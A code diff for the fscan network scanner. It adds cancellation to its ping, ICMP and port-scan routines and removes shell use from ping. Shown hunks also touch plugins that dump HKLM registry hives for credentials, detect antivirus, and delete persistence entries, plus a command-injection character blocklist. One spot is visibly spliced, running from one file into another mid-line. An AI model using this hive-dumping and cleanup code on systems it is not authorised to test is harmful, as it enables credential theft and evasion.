dialer(按 timeout 懒初始化,取决于代理配置) dialerMu sync.Mutex dialers map[time.Duration]proxy.Dialer dialerErrs map[time.Duration]error + closed atomic.Bool } // NewScanSession 从已构建的 Config、State 和 FlagVars 创建会话 @@ -44,10 +52,47 @@ func NewScanSession(config *Config, state *State, params *FlagVars) *ScanSession // SaveResult saves a scan result through the session sink if present, otherwise // falls back to the process-wide output pipeline used by the CLI. func (s *ScanSession) SaveResult(result *output.ScanResult) error { + if s != nil && s.closed.Load() { + return context.Canceled + } + var err error if s != nil && s.ResultSink != nil { - return s.ResultSink(result) + err = s.ResultSink(result) + } else { + err = SaveResult(result) + } + if err != nil && !errors.Is(err, context.Canceled) && s != nil { + s.LogError(fmt.Sprintf("save result failed: %v", err)) + } + return err +} + +// Deactivate prevents late results from tasks that outlive a cancelled scan. +func (s *ScanSession) Deactivate() { + if s != nil { + s.closed.Store(true) + s.DeactivateHTTPClients() + } +} + +// DeactivateHTTPClients closes idle connections held by the session clients. +// It is also used before replacing an already initialized client set. +func (s *ScanSession) DeactivateHTTPClients() { + if s == nil { + return + } + clients := []*http.Client{s.HTTPClient, s.HTTPClientNoRedirect, s.HTTPClientGM, s.HTTPClientNoRedirectGM} + seen := make(map[*http.Client]struct{}, len(clients)) + for _, client := range clients { + if client == nil { + continue + } + if _, ok := seen[client]; ok { + continue + } + seen[client] = struct{}{} + client.CloseIdleConnections() } - return SaveResult(result) } func (s *ScanSession) loggingEnabled() bool { diff --git a/common/session_test.go b/common/session_test.go index 1f226871..3ce9d422 100644 --- a/common/session_test.go +++ b/common/session_test.go @@ -39,6 +39,14 @@ func TestScanSessionLogMethodsHonorSilentConfig(t *testing.T) { } } +func TestScanSessionDeactivateRejectsLateResults(t *testing.T) { + session := NewScanSession(NewConfig(), NewState(), &FlagVars{}) + session.Deactivate() + if err := session.SaveResult(&output.ScanResult{}); err == nil { + t.Fatal("SaveResult() error = nil after Deactivate()") + } +} + func TestScanSessionDialerCacheIsTimeoutAware(t *testing.T) { cfg := NewConfig() cfg.Timeout = 5 * time.Second diff --git a/core/adaptive_pool.go b/core/adaptive_pool.go index 8bec02f4..0419d9d4 100644 --- a/core/adaptive_pool.go +++ b/core/adaptive_pool.go @@ -1,6 +1,8 @@ package core import ( + "context" + "errors" "sync" "sync/atomic" "time" @@ -70,7 +72,7 @@ func NewAdaptivePool(target, ceiling int, fn func(interface{}), metrics *ScanMet initial = target } - pool, err := ants.NewPoolWithFunc(initial, fn) + pool, err := ants.NewPoolWithFunc(initial, fn, ants.WithNonblocking(true)) if err != nil { return nil, err } @@ -95,8 +97,33 @@ func NewAdaptivePool(target, ceiling int, fn func(interface{}), metrics *ScanMet // Invoke 提交任务 func (ap *AdaptivePool) Invoke(task interface{}) error { - ap.maybeAdjust() - return ap.pool.Invoke(task) + return ap.InvokeContext(context.Background(), task) +} + +// InvokeContext 提交任务,并在池满时允许调用方通过 context 取消等待。 +func (ap *AdaptivePool) InvokeContext(ctx context.Context, task interface{}) error { + if ctx == nil { + ctx = context.Background() + } + + for { + ap.maybeAdjust() + err := ap.pool.Invoke(task) + if err == nil { + return nil + } + if !errors.Is(err, ants.ErrPoolOverload) { + return err + } + + timer := time.NewTimer(5 * time.Millisecond) + select { + case <-ctx.Done(): + timer.Stop() + return ctx.Err() + case <-timer.C: + } + } } // maybeAdjust 周期性检查并调整并发数 diff --git a/core/adaptive_pool_test.go b/core/adaptive_pool_test.go index 555c0519..d1cd310d 100644 --- a/core/adaptive_pool_test.go +++ b/core/adaptive_pool_test.go @@ -1,11 +1,38 @@ package core import ( + "context" "sync/atomic" "testing" "time" ) +func TestAdaptivePoolInvokeContextCancellation(t *testing.T) { + release := make(chan struct{}) + started := make(chan struct{}, 1) + pool, _ := newTestPool(t, 1, func(interface{}) { + select { + case started <- struct{}{}: + default: + } + <-release + }) + defer pool.Release() + + if err := pool.Invoke(struct{}{}); err != nil { + t.Fatalf("first Invoke() error = %v", err) + } + <-started + + ctx, cancel := context.WithTimeout(context.Background(), 25*time.Millisecond) + defer cancel() + if err := pool.InvokeContext(ctx, struct{}{}); err != context.DeadlineExceeded { + close(release) + t.Fatalf("InvokeContext() error = %v, want deadline exceeded", err) + } + close(release) +} + // newTestPool 测试辅助:创建测试用的自适应线程池 func newTestPool(t *testing.T, size int, fn func(interface{})) (*AdaptivePool, *ScanMetrics) { t.Helper() diff --git a/core/icmp.go b/core/icmp.go index c77339b2..004d9065 100644 --- a/core/icmp.go +++ b/core/icmp.go @@ -1,7 +1,6 @@ package core import ( - "bytes" "context" "errors" "fmt" @@ -14,6 +13,7 @@ import ( "sync/atomic" "time" + "github.com/juju/ratelimit" "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/common/output" @@ -23,22 +23,6 @@ import ( // pingForbiddenChars 命令注入防护 - 禁止的字符 var pingForbiddenChars = []string{";", "&", "|", "`", "$", "\\", "'", "%", "\"", "\n"} -// pingErrorKeywords ping 失败的关键词(跨平台) -var pingErrorKeywords = []string{ - // Windows - "TTL expired", - "Destination host unreachable", - "Destination net unreachable", - "Request timed out", - "General failure", - "transmit failed", - // Linux/macOS - "Time to live exceeded", - "100% packet loss", - "Network is unreachable", - "No route to host", -} - // CheckLive 检测主机存活状态 // 支持 ICMP/Ping 探测,并在响应率过低时自动启用 TCP 补充探测 func CheckLive(ctx context.Context, hostslist []string, Ping bool, session *common.ScanSession) []string { @@ -61,9 +45,9 @@ func CheckLive(ctx context.Context, hostslist []string, Ping bool, session *comm // 根据Ping参数选择检测方式 if Ping { // 使用ping方式探测 - RunPing(hostslist, chanHosts, &livewg) + RunPing(ctx, hostslist, chanHosts, &livewg) } else { - probeWithICMP(hostslist, chanHosts, &aliveHosts, &aliveHostsMu, config, state, &livewg) + probeWithICMP(ctx, hostslist, chanHosts, &aliveHosts, &aliveHostsMu, config, state, &livewg) } // 等待所有检测完成 @@ -165,21 +149,21 @@ func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool, al } // probeWithICMP 使用ICMP方式探测 -func probeWithICMP(hostslist []string, chanHosts chan string, aliveHosts *[]string, aliveHostsMu *sync.Mutex, config *common.Config, state *common.State, livewg *sync.WaitGroup) { +func probeWithICMP(ctx context.Context, hostslist []string, chanHosts chan string, aliveHosts *[]string, aliveHostsMu *sync.Mutex, config *common.Config, state *common.State, livewg *sync.WaitGroup) { // 代理模式下自动禁用ICMP,直接降级为Ping // ICMP在代理环境无法正常工作 if shouldDisableICMP() { if !config.Output.Silent { common.LogInfo(i18n.GetText("proxy_mode_disable_icmp")) } - RunPing(hostslist, chanHosts, livewg) + RunPing(ctx, hostslist, chanHosts, livewg) return } // 尝试监听本地ICMP conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0") if err == nil { - RunIcmp1(hostslist, conn, chanHosts, aliveHosts, aliveHostsMu, config, state, livewg) + RunIcmp1(ctx, hostslist, conn, chanHosts, aliveHosts, aliveHostsMu, config, state, livewg) return } @@ -187,14 +171,14 @@ func probeWithICMP(hostslist []string, chanHosts chan string, aliveHosts *[]stri conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second) if err == nil { defer func() { _ = conn2.Close() }() - RunIcmp2(hostslist, chanHosts, config, state, livewg) + RunIcmp2(ctx, hostslist, chanHosts, config, state, livewg) return } common.LogInfo(i18n.GetText("switching_to_ping")) // 降级使用ping探测 - RunPing(hostslist, chanHosts, livewg) + RunPing(ctx, hostslist, chanHosts, livewg) } // shouldDisableICMP 检查是否应该禁用ICMP @@ -258,6 +242,10 @@ const ( // - 只有"连续 500ms 无新响应"才提前结束 // - 保留原有最大等待时间作为兜底 func waitAdaptive(hostslist []string, aliveHosts *[]string, aliveHostsMu *sync.Mutex) { + waitAdaptiveContext(context.Background(), hostslist, aliveHosts, aliveHostsMu) +} + +func waitAdaptiveContext(ctx context.Context, hostslist []string, aliveHosts *[]string, aliveHostsMu *sync.Mutex) { totalHosts := len(hostslist) // 根据主机数量设置最大超时时间(保持原有逻辑作为兜底) @@ -271,7 +259,18 @@ func waitAdaptive(hostslist []string, aliveHosts *[]string, aliveHostsMu *sync.M lastChangeTime := start for { - time.Sleep(icmpCheckInterval) // 避免 CPU 空转 + timer := time.NewTimer(icmpCheckInterval) + select { + case <-timer.C: + case <-ctx.Done(): + if !timer.Stop() { + select { + case <-timer.C: + default: + } + } + return + } // 读取当前存活数 aliveHostsMu.Lock() @@ -315,7 +314,7 @@ func waitAdaptive(hostslist []string, aliveHosts *[]string, aliveHostsMu *sync.M } // RunIcmp1 使用ICMP批量探测主机存活(监听模式) -func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string, aliveHosts *[]string, aliveHostsMu *sync.Mutex, config *common.Config, state *common.State, livewg *sync.WaitGroup) { +func RunIcmp1(ctx context.Context, hostslist []string, conn *icmp.PacketConn, chanHosts chan string, aliveHosts *[]string, aliveHostsMu *sync.Mutex, config *common.Config, state *common.State, livewg *sync.WaitGroup) { // 使用atomic.Bool保证并发安全 var endflag atomic.Bool var listenerWg sync.WaitGroup @@ -334,7 +333,7 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string, }() for { - if endflag.Load() { + if endflag.Load() || ctx.Err() != nil { return } @@ -388,14 +387,16 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string, limiter := state.GetICMPLimiter(config.Network.ICMPRate) for i := range packets { - limiter.Wait(1) + if !waitForRateLimit(ctx, limiter) { + break + } _, _ = conn.WriteTo(packets[i].data, packets[i].dst) } // 自适应等待响应 // 算法:监控响应增量,连续一段时间无新响应则提前结束 // 保守原则:保留最大等待时间兜底,确保不漏掉慢响应主机 - waitAdaptive(hostslist, aliveHosts, aliveHostsMu) + waitAdaptiveContext(ctx, hostslist, aliveHosts, aliveHostsMu) endflag.Store(true) _ = conn.Close() @@ -403,7 +404,7 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string, } // RunIcmp2 使用ICMP并发探测主机存活(无监听模式) -func RunIcmp2(hostslist []string, chanHosts chan string, config *common.Config, state *common.State, livewg *sync.WaitGroup) { +func RunIcmp2(ctx context.Context, hostslist []string, chanHosts chan string, config *common.Config, state *common.State, livewg *sync.WaitGroup) { // 控制并发数 num := 1000 if len(hostslist) < num { @@ -416,8 +417,13 @@ func RunIcmp2(hostslist []string, chanHosts chan string, config *common.Config, // 并发探测 for _, host := range hostslist { - wg.Add(1) - limiter <- struct{}{} + select { + case limiter <- struct{}{}: + wg.Add(1) + case <-ctx.Done(): + wg.Wait() + return + } go func(host string) { defer func() { @@ -425,8 +431,10 @@ func RunIcmp2(hostslist []string, chanHosts chan string, config *common.Config, wg.Done() }() - rateLimiter.Wait(1) // 等待令牌,控制发包速率 - if icmpalive(host) { + if !waitForRateLimit(ctx, rateLimiter) { + return + } + if icmpalive(ctx, host) { livewg.Add(1) select { case chanHosts <- host: @@ -444,15 +452,18 @@ func RunIcmp2(hostslist []string, chanHosts chan string, config *common.Config, } // icmpalive 检测主机ICMP是否存活 -func icmpalive(host string) bool { +func icmpalive(ctx context.Context, host string) bool { startTime := time.Now() // 建立ICMP连接 - conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second) + dialer := net.Dialer{Timeout: 6 * time.Second} + conn, err := dialer.DialContext(ctx, "ip4:icmp", host) if err != nil { return false } defer func() { _ = conn.Close() }() + stopCancel := context.AfterFunc(ctx, func() { _ = conn.Close() }) + defer stopCancel() // 设置超时时间 if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil { @@ -475,7 +486,7 @@ func icmpalive(host string) bool { } // RunPing 使用系统Ping命令并发探测主机存活 -func RunPing(hostslist []string, chanHosts chan string, livewg *sync.WaitGroup) { +func RunPing(ctx context.Context, hostslist []string, chanHosts chan string, livewg *sync.WaitGroup) { var wg sync.WaitGroup // 并发数根据主机数动态调整,上限 200 concurrency := len(hostslist) @@ -486,8 +497,13 @@ func RunPing(hostslist []string, chanHosts chan string, livewg *sync.WaitGroup) // 并发探测 for _, host := range hostslist { - wg.Add(1) - limiter <- struct{}{} + select { + case limiter <- struct{}{}: + wg.Add(1) + case <-ctx.Done(): + wg.Wait() + return + } go func(host string) { defer func() { @@ -495,7 +511,7 @@ func RunPing(hostslist []string, chanHosts chan string, livewg *sync.WaitGroup) wg.Done() }() - if ExecCommandPing(host) { + if ExecCommandPingContext(ctx, host) { livewg.Add(1) select { case chanHosts <- host: @@ -511,19 +527,14 @@ func RunPing(hostslist []string, chanHosts chan string, livewg *sync.WaitGroup) wg.Wait() } -// containsPingError 检查 ping 输出是否包含错误关键词 -func containsPingError(output string) bool { - outputLower := strings.ToLower(output) - for _, keyword := range pingErrorKeywords { - if strings.Contains(outputLower, strings.ToLower(keyword)) { - return true - } - } - return false -} - // ExecCommandPing 执行系统Ping命令检测主机存活 func ExecCommandPing(ip string) bool { + return ExecCommandPingContext(context.Background(), ip) +} + +// ExecCommandPingContext runs ping without a shell and terminates it when the +// scan context is cancelled. +func ExecCommandPingContext(ctx context.Context, ip string) bool { // 过滤黑名单字符(命令注入防护) for _, char := range pingForbiddenChars { if strings.Contains(ip, char) { @@ -535,29 +546,32 @@ func ExecCommandPing(ip string) bool { // 根据操作系统选择不同的ping命令 switch runtime.GOOS { case "windows": - command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") + command = exec.CommandContext(ctx, "ping", "-n", "1", "-w", "1000", ip) case "darwin": - command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false") + command = exec.CommandContext(ctx, "ping", "-c", "1", "-W", "1000", ip) default: // linux - command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false") + command = exec.CommandContext(ctx, "ping", "-c", "1", "-W", "1", ip) } - // 捕获命令输出 - var outinfo bytes.Buffer - command.Stdout = &outinfo + return command.Run() == nil +} - // 执行命令 - if err := command.Start(); err != nil { - return false +func waitForRateLimit(ctx context.Context, limiter *ratelimit.Bucket) bool { + if limiter == nil { + return ctx.Err() == nil } - - if err := command.Wait(); err != nil { + delay := limiter.Take(1) + if delay <= 0 { + return ctx.Err() == nil + } + timer := time.NewTimer(delay) + defer timer.Stop() + select { + case <-timer.C: + return true + case <-ctx.Done(): return false } - - // 分析输出结果 - output := outinfo.String() - return strings.Contains(output, "true") && strings.Count(output, ip) > 2 && !containsPingError(output) } // makemsg 构造ICMP echo请求消息 @@ -738,8 +752,13 @@ func runTcpProbeForHosts(ctx context.Context, hosts []string, session *common.Sc limiter := make(chan struct{}, concurrency) for _, host := range hosts { - wg.Add(1) - limiter <- struct{}{} + select { + case limiter <- struct{}{}: + wg.Add(1) + case <-ctx.Done(): + wg.Wait() + return aliveHosts + } go func(h string) { defer func() { diff --git a/core/icmp_test.go b/core/icmp_test.go index 6c8f1829..ba2b4454 100644 --- a/core/icmp_test.go +++ b/core/icmp_test.go @@ -1,6 +1,7 @@ package core import ( + "context" "fmt" "sync" "testing" @@ -488,6 +489,18 @@ func TestMakemsg(t *testing.T) { // TestWaitAdaptive 测试自适应等待算法 func TestWaitAdaptive(t *testing.T) { + t.Run("context cancellation", func(t *testing.T) { + ctx, cancel := context.WithCancel(context.Background()) + cancel() + start := time.Now() + aliveHosts := []string{} + var mu sync.Mutex + waitAdaptiveContext(ctx, []string{"192.0.2.1"}, &aliveHosts, &mu) + if elapsed := time.Since(start); elapsed > 100*time.Millisecond { + t.Fatalf("cancelled adaptive wait took %s", elapsed) + } + }) + t.Run("全部响应-立即结束", func(t *testing.T) { hostslist := []string{"192.168.1.1", "192.168.1.2", "192.168.1.3"} aliveHosts := []string{"192.168.1.1", "192.168.1.2", "192.168.1.3"} // 全部存活 diff --git a/core/network_profiler.go b/core/network_profiler.go index 228343ad..4f08c124 100644 --- a/core/network_profiler.go +++ b/core/network_profiler.go @@ -137,9 +137,13 @@ func ProbeNetwork(ctx context.Context, hosts []string, session *common.ScanSessi default: } - total++ - wg.Add(1) - sem <- struct{}{} + select { + case sem <- struct{}{}: + total++ + wg.Add(1) + case <-ctx.Done(): + goto done + } go func(h string, p int) { defer func() { <-sem; wg.Done() }() diff --git a/core/port_scan.go b/core/port_scan.go index 9a958204..d2603d3f 100644 --- a/core/port_scan.go +++ b/core/port_scan.go @@ -67,26 +67,44 @@ type resultCollector struct { mu sync.Mutex addrs map[string]struct{} stream chan<- string + ctx context.Context } -func newResultCollector(stream chan<- string) *resultCollector { +func newResultCollector(ctx context.Context, stream chan<- string) *resultCollector { + if ctx == nil { + ctx = context.Background() + } return &resultCollector{ addrs: make(map[string]struct{}), stream: stream, + ctx: ctx, } } -func (c *resultCollector) Add(addr string) { +func (c *resultCollector) Add(addr string) bool { c.mu.Lock() + if c.addrs == nil { + c.addrs = make(map[string]struct{}) + } if _, dup := c.addrs[addr]; dup { c.mu.Unlock() - return + return true } c.addrs[addr] = struct{}{} c.mu.Unlock() if c.stream != nil { - c.stream <- addr + ctx := c.ctx + if ctx == nil { + ctx = context.Background() + } + select { + case c.stream <- addr: + return true + case <-ctx.Done(): + return false + } } + return true } func (c *resultCollector) GetAll() []string { @@ -211,7 +229,7 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout adaptiveTO := NewAdaptiveTimeout(to) metrics := &ScanMetrics{} var count atomic.Int64 - collector := newResultCollector(stream) + collector := newResultCollector(ctx, stream) failedCollector := &failedPortCollector{} var wg sync.WaitGroup @@ -243,7 +261,7 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout session.LogDebug(i18n.GetText("port_scan_debug_schedule_start")) // 滑动窗口调度 - slidingWindowSchedule(iter, pool, &wg) + slidingWindowSchedule(ctx, iter, pool, &wg) session.LogDebug(i18n.GetText("port_scan_debug_schedule_done")) // 收集结果 @@ -289,8 +307,15 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout // slidingWindowSchedule 滑动窗口调度器 // ants.PoolWithFunc.Invoke 在池满时阻塞,天然提供反压,无需额外 semaphore -func slidingWindowSchedule(iter *SocketIterator, pool *AdaptivePool, wg *sync.WaitGroup) { +func slidingWindowSchedule(ctx context.Context, iter *SocketIterator, pool *AdaptivePool, wg *sync.WaitGroup) { for { + select { + case <-ctx.Done(): + wg.Wait() + return + default: + } + host, port, ok := iter.Next() if !ok { break @@ -302,8 +327,12 @@ func slidingWindowSchedule(iter *SocketIterator, pool *AdaptivePool, wg *sync.Wa port: port, addr: net.JoinHostPort(host, fmtPort(port)), } - if err := pool.Invoke(task); err != nil { + if err := pool.InvokeContext(ctx, task); err != nil { wg.Done() + if ctx.Err() != nil { + wg.Wait() + return + } } } @@ -351,7 +380,13 @@ func connectWithRetry(ctx context.Context, session *common.ScanSession, addr str // 指数退避:200ms → 600ms → 1200ms if attempt < maxRetries-1 { waitTime := time.Duration(200*(1< 0 { - exec.Command("reg", "delete", key, "/v", fields[0], "/f").Run() - output.WriteString(i18n.Tr("cleaner_registry_removed", key, fields[0]) + "\n") - cleaned++ + if err := exec.Command("reg", "delete", key, "/v", fields[0], "/f").Run(); err == nil { + output.WriteString(i18n.Tr("cleaner_registry_removed", key, fields[0]) + "\n") + cleaned++ + } } break } @@ -130,9 +134,10 @@ func cleanScheduledTasks(output *strings.Builder) int { parts := strings.Split(line, ",") if len(parts) > 0 { name := strings.Trim(parts[0], "\"\\") - exec.Command("schtasks", "/delete", "/tn", name, "/f").Run() - output.WriteString(i18n.Tr("cleaner_schtask_removed", name) + "\n") - cleaned++ + if err := exec.Command("schtasks", "/delete", "/tn", name, "/f").Run(); err == nil { + output.WriteString(i18n.Tr("cleaner_schtask_removed", name) + "\n") + cleaned++ + } } break } @@ -152,10 +157,11 @@ func cleanServices(output *strings.Builder) int { for _, line := range strings.Split(string(out), "\n") { if strings.Contains(line, "SERVICE_NAME") && strings.Contains(line, m) { name := strings.TrimSpace(strings.TrimPrefix(strings.TrimSpace(line), "SERVICE_NAME:")) - exec.Command("sc", "stop", name).Run() - exec.Command("sc", "delete", name).Run() - output.WriteString(i18n.Tr("cleaner_service_removed", name) + "\n") - cleaned++ + _ = exec.Command("sc", "stop", name).Run() + if err := exec.Command("sc", "delete", name).Run(); err == nil { + output.WriteString(i18n.Tr("cleaner_service_removed", name) + "\n") + cleaned++ + } } } } @@ -192,9 +198,10 @@ func cleanBITS(output *strings.Builder) int { if idx := strings.Index(line, "{"); idx != -1 { if end := strings.Index(line[idx:], "}"); end != -1 { guid := line[idx : idx+end+1] - exec.Command("bitsadmin", "/cancel", guid).Run() - output.WriteString(i18n.Tr("cleaner_bits_removed", guid) + "\n") - cleaned++ + if err := exec.Command("bitsadmin", "/cancel", guid).Run(); err == nil { + output.WriteString(i18n.Tr("cleaner_bits_removed", guid) + "\n") + cleaned++ + } } } } diff --git a/plugins/local/minidump.go b/plugins/local/minidump.go index 0d1d4514..29e41e26 100644 --- a/plugins/local/minidump.go +++ b/plugins/local/minidump.go @@ -189,7 +189,7 @@ func (p *MiniDumpPlugin) tryRegSave(output *strings.Builder, session *common.Sca for hive, path := range files { if err := exec.Command("reg", "save", fmt.Sprintf("HKLM\\%s", hive), path, "/y").Run(); err == nil { if fi, err := os.Stat(path); err == nil { - output.WriteString(fmt.Sprintf(" ✓ %s → %s (%d bytes)\n", hive, path, fi.Size())) + fmt.Fprintf(output, " ✓ %s → %s (%d bytes)\n", hive, path, fi.Size()) saved++ } } else { @@ -560,7 +560,9 @@ func (p *MiniDumpPlugin) isAVBlocking() bool { if handle == INVALID_HANDLE_VALUE { return false } - defer p.kernel32.MustFindProc("CloseHandle").Call(handle) + defer func() { + _, _, _ = p.kernel32.MustFindProc("CloseHandle").Call(handle) + }() first, _ := p.kernel32.FindProc("Process32FirstW") next, _ := p.kernel32.FindProc("Process32NextW") diff --git a/plugins/web/webtitle.go b/plugins/web/webtitle.go index 825e0499..f2aed0cf 100644 --- a/plugins/web/webtitle.go +++ b/plugins/web/webtitle.go @@ -138,7 +138,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, baseURL := webTitleURL(urlScheme, info.Host, info.Port) // 选择对应的 HTTP 客户端 - clientNR, clientR := webTitleHTTPClients(isGM) + clientNR, clientR := sessionWebTitleHTTPClients(session, isGM) // 构建显示用URL(隐藏标准端口) var displayURL string @@ -175,7 +175,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, checkDataList = append(checkDataList, WebScan.CheckDatas{ Body: body, Headers: p.formatHeaders(resp.Header), - Favicon: p.fetchFaviconHash(ctx, baseURL), + Favicon: p.fetchFaviconHashWithSession(ctx, baseURL, session), }) title := p.extractTitle(string(body)) @@ -202,7 +202,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, checkDataList = append(checkDataList, WebScan.CheckDatas{ Body: bodyRedirect, Headers: p.formatHeaders(respRedirect.Header), - Favicon: p.fetchFaviconHash(ctx, redirectURL), + Favicon: p.fetchFaviconHashWithSession(ctx, redirectURL, session), }) // 如果原始页面没有标题,使用跳转后页面的标题 @@ -300,10 +300,21 @@ func (p *WebTitlePlugin) triggerPocScan(ctx context.Context, info *common.HostIn } func webTitleHTTPClients(isGM bool) (*http.Client, *http.Client) { + return sessionWebTitleHTTPClients(nil, isGM) +} + +func sessionWebTitleHTTPClients(session *common.ScanSession, isGM bool) (*http.Client, *http.Client) { + if session != nil { + if isGM { + return firstHTTPClient(session.HTTPClientNoRedirectGM, defaultNoRedirectClient()), firstHTTPClient(session.HTTPClientGM, http.DefaultClient) + } + return firstHTTPClient(session.HTTPClientNoRedirect, defaultNoRedirectClient()), firstHTTPClient(session.HTTPClient, http.DefaultClient) + } + clients := lib.GetHTTPClientSet() if isGM { - return firstHTTPClient(lib.ClientNoRedirectGM, defaultNoRedirectClient()), firstHTTPClient(lib.ClientGM, http.DefaultClient) + return firstHTTPClient(clients.ClientNoRedirectGM, defaultNoRedirectClient()), firstHTTPClient(clients.ClientGM, http.DefaultClient) } - return firstHTTPClient(lib.ClientNoRedirect, defaultNoRedirectClient()), firstHTTPClient(lib.Client, http.DefaultClient) + return firstHTTPClient(clients.ClientNoRedirect, defaultNoRedirectClient()), firstHTTPClient(clients.Client, http.DefaultClient) } func firstHTTPClient(clients ...*http.Client) *http.Client { @@ -353,7 +364,11 @@ func (p *WebTitlePlugin) detectProtocol(ctx context.Context, info *common.HostIn host := info.Host port := info.Port - serviceInfo, exists := core.GetWebServiceInfo(host, port) + var state *common.State + if session != nil { + state = session.State + } + serviceInfo, exists := core.GetWebServiceInfoWithState(state, host, port) if exists { // 第一优先级:检查已缓存的协议检测结果 @@ -365,11 +380,6 @@ func (p *WebTitlePlugin) detectProtocol(ctx context.Context, info *common.HostIn // 注意:普通的"http"服务名不直接返回,因为可能是-u模式默认添加的协议 serviceName := strings.ToLower(serviceInfo.Name) if common.ContainsAny(serviceName, "https-gm", "https", "ssl", "tls") { - // 缓存协议信息到Extras - if serviceInfo.Extras == nil { - serviceInfo.Extras = make(map[string]string) - } - serviceInfo.Extras["protocol"] = "https" return "https" } } @@ -380,10 +390,13 @@ func (p *WebTitlePlugin) detectProtocol(ctx context.Context, info *common.HostIn if detected != "" { // 缓存检测结果(避免重复检测) if exists { - if serviceInfo.Extras == nil { - serviceInfo.Extras = make(map[string]string) + updated := *serviceInfo + updated.Extras = make(map[string]string, len(serviceInfo.Extras)+1) + for key, value := range serviceInfo.Extras { + updated.Extras[key] = value } - serviceInfo.Extras["protocol"] = detected + updated.Extras["protocol"] = detected + core.CacheServiceInfoWithState(state, host, port, &updated) } return detected } @@ -424,6 +437,10 @@ func truncateRunes(s string, maxRunes int) string { // fetchFaviconHash 下载 favicon.ico 并计算 hash func (p *WebTitlePlugin) fetchFaviconHash(ctx context.Context, baseURL string) fingerprint.FaviconHashes { + return p.fetchFaviconHashWithSession(ctx, baseURL, nil) +} + +func (p *WebTitlePlugin) fetchFaviconHashWithSession(ctx context.Context, baseURL string, session *common.ScanSession) fingerprint.FaviconHashes { // 构造 favicon URL u, err := url.Parse(baseURL) if err != nil { @@ -438,7 +455,8 @@ func (p *WebTitlePlugin) fetchFaviconHash(ctx context.Context, baseURL string) f } req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") - resp, err := lib.Client.Do(req) + _, client := sessionWebTitleHTTPClients(session, false) + resp, err := client.Do(req) if err != nil { return fingerprint.FaviconHashes{} } diff --git a/web-ui/.gitignore b/web-ui/.gitignore deleted file mode 100644 index a547bf36..00000000 --- a/web-ui/.gitignore +++ /dev/null @@ -1,24 +0,0 @@ -# Logs -logs -*.log -npm-debug.log* -yarn-debug.log* -yarn-error.log* -pnpm-debug.log* -lerna-debug.log* - -node_modules -dist -dist-ssr -*.local - -# Editor directories and files -.vscode/* -!.vscode/extensions.json -.idea -.DS_Store -*.suo -*.ntvs* -*.njsproj -*.sln -*.sw? diff --git a/web-ui/README.md b/web-ui/README.md deleted file mode 100644 index d2e77611..00000000 --- a/web-ui/README.md +++ /dev/null @@ -1,73 +0,0 @@ -# React + TypeScript + Vite - -This template provides a minimal setup to get React working in Vite with HMR and some ESLint rules. - -Currently, two official plugins are available: - -- [@vitejs/plugin-react](https://github.com/vitejs/vite-plugin-react/blob/main/packages/plugin-react) uses [Babel](https://babeljs.io/) (or [oxc](https://oxc.rs) when used in [rolldown-vite](https://vite.dev/guide/rolldown)) for Fast Refresh -- [@vitejs/plugin-react-swc](https://github.com/vitejs/vite-plugin-react/blob/main/packages/plugin-react-swc) uses [SWC](https://swc.rs/) for Fast Refresh - -## React Compiler - -The React Compiler is not enabled on this template because of its impact on dev & build performances. To add it, see [this documentation](https://react.dev/learn/react-compiler/installation). - -## Expanding the ESLint configuration - -If you are developing a production application, we recommend updating the configuration to enable type-aware lint rules: - -```js -export default defineConfig([ - globalIgnores(['dist']), - { - files: ['**/*.{ts,tsx}'], - extends: [ - // Other configs... - - // Remove tseslint.configs.recommended and replace with this - tseslint.configs.recommendedTypeChecked, - // Alternatively, use this for stricter rules - tseslint.configs.strictTypeChecked, - // Optionally, add this for stylistic rules - tseslint.configs.stylisticTypeChecked, - - // Other configs... - ], - languageOptions: { - parserOptions: { - project: ['./tsconfig.node.json', './tsconfig.app.json'], - tsconfigRootDir: import.meta.dirname, - }, - // other options... - }, - }, -]) -``` - -You can also install [eslint-plugin-react-x](https://github.com/Rel1cx/eslint-react/tree/main/packages/plugins/eslint-plugin-react-x) and [eslint-plugin-react-dom](https://github.com/Rel1cx/eslint-react/tree/main/packages/plugins/eslint-plugin-react-dom) for React-specific lint rules: - -```js -// eslint.config.js -import reactX from 'eslint-plugin-react-x' -import reactDom from 'eslint-plugin-react-dom' - -export default defineConfig([ - globalIgnores(['dist']), - { - files: ['**/*.{ts,tsx}'], - extends: [ - // Other configs... - // Enable lint rules for React - reactX.configs['recommended-typescript'], - // Enable lint rules for React DOM - reactDom.configs.recommended, - ], - languageOptions: { - parserOptions: { - project: ['./tsconfig.node.json', './tsconfig.app.json'], - tsconfigRootDir: import.meta.dirname, - }, - // other options... - }, - }, -]) -``` diff --git a/web-ui/eslint.config.js b/web-ui/eslint.config.js deleted file mode 100644 index 5e6b472f..00000000 --- a/web-ui/eslint.config.js +++ /dev/null @@ -1,23 +0,0 @@ -import js from '@eslint/js' -import globals from 'globals' -import reactHooks from 'eslint-plugin-react-hooks' -import reactRefresh from 'eslint-plugin-react-refresh' -import tseslint from 'typescript-eslint' -import { defineConfig, globalIgnores } from 'eslint/config' - -export default defineConfig([ - globalIgnores(['dist']), - { - files: ['**/*.{ts,tsx}'], - extends: [ - 